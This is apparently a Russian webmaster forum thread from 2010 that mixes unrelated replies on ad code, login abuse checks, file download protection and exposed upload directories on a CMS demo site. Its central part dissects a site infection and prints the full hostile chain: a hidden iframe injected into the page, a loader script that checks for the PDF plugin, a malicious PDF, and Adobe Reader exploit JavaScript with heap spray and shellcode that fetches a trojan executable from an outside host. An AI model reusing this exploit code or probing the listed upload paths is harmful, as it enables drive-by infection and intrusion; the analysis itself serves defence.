Создайте html страничку с кодом я.директа и укажите на неё гуглю.
Но сомневаюсь я по поводу релевантности объявлений при таком подходе.
Продолжение )
Последний код качает и выполняет exe файл http://adcounters.net/far/load.php?e=2
который последним DrWeb'ом распознается как "Trojan.DownLoad.35952"
А что он там уже качает незнаю ))
Писать историю логинов в базу и туда-же ip (можно еще и заголовки прокси x-fwd и т.д.), кроном проверять наличие одинаковых ip у разных юзеров.
При регистрации и логине использовать капчу.
исполняется это
fr=document.createElement('iframe');fr.src="http://adcounters.net/far/show.php?s=eb31d196fc";fr.style.display="none";document.getElementsByTagName('body')[0].appendChild(fr);
потом грузится закодированное вот это
function Complete(){setTimeout('location.href = "http://smotribezsms.ucoz.ru/',2000);}function pdf(){var isInstalled=false;if(navigator.plugins&&navigator.plugins.length){for(var x=0;x<navigator.plugins.length;x++){if(navigator.plugins[x].description.indexOf('Adobe Acrobat')!=-1){isInstalled=true;break;}if(navigator.plugins[x].description.indexOf('Adobe PDF')!=-1){isInstalled=true;break;}}}else if(window.ActiveXObject){var control=null;try{control=new ActiveXObject('AcroPDF.PDF');}catch(e){}if(!control){try{control=new ActiveXObject('PDF.PdfCtrl');}catch(e){}}if(control){isInstalled=true;}}if(isInstalled){var ua=navigator.userAgent.toLowerCase();if(ua.indexOf("firefox")!=-1){var pdfelement=document.createElement('embed');document.body.appendChild(pdfelement);pdfelement.width='1';pdfelement.height='1';pdfelement.src='./pdf.php';pdfelement.type='application/pdf';}else{var pdfelement=document.createElement('iframe');pdfelement.setAttribute('src','./pdf.php');pdfelement.setAttribute('width',200);pdfelement.setAttribute('height',200);pdfelement.setAttribute('style','display:none;');document.body.appendChild(pdfelement);}setTimeout("Complete();",2000);}else{Complete();}}pdf();
- ГС для отвода глаз + сплоит, который открывает httр://adcounters.net/far/pdf.php, тем самым запускает acrobat reader и исполняет это
lyoxa добавил 15.01.2010 в 15:21
%PDF-1.3%вгПУ1 0 obj<</OpenAction <</JS (this.BXcfTYewQ\(\))/S /JavaScript>>/Threads 2 0 R/Outlines 3 0 R/Pages 4 0 R..................13 0 obj<</Length 15989>>streamvar n = ""; eval(eval('Stri'+n+'ng.fr'+n+'omCharC'+n+'ode(102,117,многа цифр,41,59,125)'));endstreamendobj14 0 obj<</Creator (Scribus 1.3.3.12)............./Size 15>>startxref4374%%EOF
который открывшись в окне браузера выполняет это
lyoxa добавил 15.01.2010 в 15:22
function BXcfTYewQ(){ function fix_it(yarsp,len){ while(yarsp.length*2<len){yarsp+=yarsp; } yarsp=yarsp.substring(0,len/2);return yarsp; } function util_printf(){ var payload=unescape("쀳譤぀౸䂋謌ᱰ训ࡘ৫䂋贴籀墋樼婄俫剚襖ѕ坖王謼㍴͸図皋̠㏳䧉䅐㎭㛿븏̔ࡴ쿁̍䃺㭘痸廥䚋̤曃ಋ譈᱖팃ҋΊ心偞跃ࡽ剗㎸諊ᄁ쀲껲롏⹥硥暫暘낫詬飠桐湯搮畨汲呭躸๎↓ѕ傓쀳偐譖ѕ슃荿㇂偒㚸⼚ーѕ㍛埿롖ﺘຊ嗿圄⦆ѕ瑨灴⼺愯捤畯瑮牥⹳敮⽴慦⽲潬摡瀮灨政㈽"); var nop=unescape("ਊਊਊਊ") var heapblock=nop+payload; var bigblock=unescape("ਊਊ"); var headersize=20; var spray=headersize+heapblock.length; while(bigblock.length<spray){bigblock+=bigblock;} var fillblock=bigblock.substring(0,spray); var block=bigblock.substring(0,bigblock.length-spray); while(block.length+spray<0x40000){block=block+block+fillblock;} var mem_array=new Array(); for(var i=0;i<1400;i++){mem_array=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f",num); } function collab_email(){ var shellcode=unescape("쀳譤぀౸䂋謌ᱰ训ࡘ৫䂋贴籀墋樼婄俫剚襖ѕ坖王謼㍴͸図皋̠㏳䧉䅐㎭㛿븏̔ࡴ쿁̍䃺㭘痸廥䚋̤曃ಋ譈᱖팃ҋΊ心偞跃ࡽ剗㎸諊ᄁ쀲껲롏⹥硥暫暘낫詬飠桐湯搮畨汲呭躸๎↓ѕ傓쀳偐譖ѕ슃荿㇂偒㚸⼚ーѕ㍛埿롖ﺘຊ嗿圄⦆ѕ瑨灴⼺愯捤畯瑮牥⹳敮⽴慦⽲潬摡瀮灨政㈽"); var mem_array=new Array(); var cc=0x0c0c0c0c; var addr=0x400000; var sc_len=shellcode.length*2; var len=addr-(sc_len+0x38); var yarsp=unescape("邐邐"); yarsp=fix_it(yarsp,len); var count2=(cc-0x400000)/addr; for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;} var overflow=unescape("ఌఌ"); while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow}); } function collab_geticon(){ if(app.doc.Collab.getIcon){ var arry=new Array(); var vvpethya=unescape("쀳譤぀౸䂋謌ᱰ训ࡘ৫䂋贴籀墋樼婄俫剚襖ѕ坖王謼㍴͸図皋̠㏳䧉䅐㎭㛿븏̔ࡴ쿁̍䃺㭘痸廥䚋̤曃ಋ譈᱖팃ҋΊ心偞跃ࡽ剗㎸諊ᄁ쀲껲롏⹥硥暫暘낫詬飠桐湯搮畨汲呭躸๎↓ѕ傓쀳偐譖ѕ슃荿㇂偒㚸⼚ーѕ㍛埿롖ﺘຊ嗿圄⦆ѕ瑨灴⼺愯捤畯瑮牥⹳敮⽴慦⽲潬摡瀮灨政㈽"); var hWq500CN=vvpethya.length*2; var len=0x400000-(hWq500CN+0x38); var yarsp=unescape("邐邐"); yarsp=fix_it(yarsp,len); var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000; for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;} var tUMhNbGw=unescape("%09"); while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw="N."+tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version=app.viewerVersion.toString(); version=version.replace(/\D/g,''); var varsion_array=new Array( version.charAt(0), version.charAt(1), version.charAt(2)); if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();} if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();} if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();} }pdf_start();}
а тут сами уже ))
Все каталоги с правами апача или нободи. Вобщем, меняйте хостера.
пишется в базу id сессии, сгенереная абракадабра и time().
при запросе файла (/session_id/bla-bla/id файла/) смотрим базу, если все ок, то отдаем файл.
кроном периодически чистим старые записи.
id файла можно убрать из запроса если при первом обращении в базу дописать и его.
lyoxa добавил 13.01.2010 в 19:27
у вас в примере, видимо, примерно так и устроено.
но это средствами php, что отразится на нагрузке )
снова
http://demofull. imagecms.net/js/tinymce/
http://demofull. imagecms.net/uploads/gallery/
http://demoblog. imagecms.net/uploads/gallery/
я чета забыл про него, вот еще попробуй. этот на память жадный.
=)
tinybrowser аплоадер доступен любому.
http://demoblog. imagecms.net/js/tinymce/ тут так
http://demoblog. imagecms.net/js/ а тут вон как )
вот, с либой из phpmyadmin и какого-то примера
$directory = '.'; // что паковать, папка
$zipfile = 'myziparchive.zip'; // куда